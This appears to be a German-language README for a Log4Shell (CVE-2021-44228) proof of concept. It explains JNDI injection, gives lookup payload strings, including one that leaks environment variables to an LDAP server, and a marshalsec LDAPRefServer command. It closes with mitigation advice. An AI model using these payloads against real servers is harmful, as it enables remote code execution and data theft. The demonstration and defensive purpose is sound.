
Schwachstellen-PoC
CVE-2021-44228:
Diese Schwachstelle ermöglicht es Ihnen, beliebigen Code auszuführen, indem Sie eine schädliche Nachricht auf dem Zielsystem protokollieren.
Zum Beispiel können Sie es in Minecraft verwenden, indem Sie eine Chat-Nachricht senden, und der Server-/Spielerrechner wird die Chat-Nachricht protokollieren und Ihren Code ausführen.
LiveOverflow/CVE-2021-44228-Video
Die Nachricht muss einen Platzhalter ${} mit der Anweisung enthalten, ein entferntes Objekt zu laden
jndi API. Sie lädt das Objekt über eine ObjectFactory
ldap://x.x.x.x:port/...http://x.x.x.x/...dns://x.x.x/...${jndi:ldap://127.0.0.1:1389/#}
Wenn die ObjectFactory nicht im Client vorhanden ist, passiert nichts.
Außer das Auflösen des Servers.
Damit können Sie Umgebungsvariablen auslesen:
${jndi:ldap://127.0.0.1:1389/${env:java_home}}
Warum so übertrieben?
Wenn ich es richtig verstehe, stellt es eine Schnittstelle zu JNDI bereit
Was ausgenutzt werden kann
JNDI JDAP ist eine Objekt-Lookup-API.
Sie können ein Java-Objekt von einem Server abrufen.
marshalsec/LDAPRefServer
Es sendet Objektdaten und den Namen der ObjectFactory, die das Objekt auf dem Client erstellen soll.
Es kann auf mehrere Arten ausgenutzt werden.
Wenn LDAP so konfiguriert ist, dass externem Code vertraut wird, müssen wir nur die URL zu einer bösartigen ObjectFactory angeben.
com.sun.jndi.ldap.object.trustURLCodebase = true
Oder es gibt eine weitere Java-Schwachstelle. JDK-8196902
In Kombination damit wird es wirklich zu einer RCE.
Auf GitHub gibt es mehrere POC-Repos, die das tun. Zum Beispiel tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
Wenn dies auf false gesetzt ist (standardmäßig ist es auf false gesetzt), können wir nach einer ausnutzbaren ObjectFactory in der Ziel-Codebasis suchen,
Oder JNDI auf andere Weise ausnutzen.
Weiterführende Lektüre zu JNDI-Injection:
JNDI-Injection
Veracode Research/rogue-jndi
RCEExample ist eine Funktion, die die bösartige Nachricht protokolliert.
Einfach auf Run drücken, um es auszuführen...
LoggerFactory ist eine ObjectFactory, die alles protokolliert, was sie bekommt...
Wenn Sie marshalsec kompilieren, können Sie es anweisen, LoggerFactory zu verwenden
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"rce.RCEExample aus und sehen Sie sich den Exploit (den Logger) an.LoggerFactory setzen, um die Objekte zu sehen.Ihr Programm ist nicht betroffen, WENN es nur integrierte Nachrichten protokolliert.
Wenn das Programm Text aus einer beliebigen Datendatei oder aus dem Netzwerk protokollieren kann, ist es verwundbar.
Aber Sie sollten es trotzdem beheben...
Das Beste, was Sie tun können, ist ein Update auf Log4J2 2.15.0+
Wenn das aus irgendeinem Grund nicht möglich ist, deaktivieren Sie das JNDI-Lookup mit dem folgenden Java-Argument: ‐Dlog4j2.formatMsgNoLookups=True, um die Schwachstelle zu entschärfen.
Wenn Sie Serveradministrator eines Minecraft-Servers sind, befolgen Sie die offizielle Anleitung: WICHTIGE NACHRICHT: SICHERHEITSSCHWACHSTELLE IN JAVA EDITION